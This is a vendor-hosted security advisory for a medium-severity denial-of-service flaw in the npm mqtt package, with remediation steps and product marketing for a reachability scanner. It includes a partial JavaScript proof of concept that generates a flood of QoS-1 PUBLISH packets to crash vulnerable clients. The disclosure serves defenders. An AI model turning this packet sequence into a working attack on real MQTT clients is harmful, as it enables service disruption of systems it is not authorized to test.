GHSA-h9mj-fghc-664w is a medium-severity (CVSS 6.5) CWE-674 vulnerability in mqtt. O3 Security confirms whether GHSA-h9mj-fghc-664w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Denial of Service in mqtt
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mqttnpmDescription
Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.
The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.
Proof of Concept
The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.
var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
packets.push(
mqttp.generate({
cmd:'publish',
topic:Buffer.from('hello'),
payload:Buffer.from('world'),
retain: false,
dup: false,
messageId: ++i,
qos: 1
})
)
}
Recommendation
Update to version 2.15.0 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mqtt | ≥ 2.0.0&&< 2.15.0 | 2.15.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mqtt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mqtt to 2.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h9mj-fghc-664w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h9mj-fghc-664w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h9mj-fghc-664w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h9mj-fghc-664w in your dependencies?
O3 detects GHSA-h9mj-fghc-664w across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.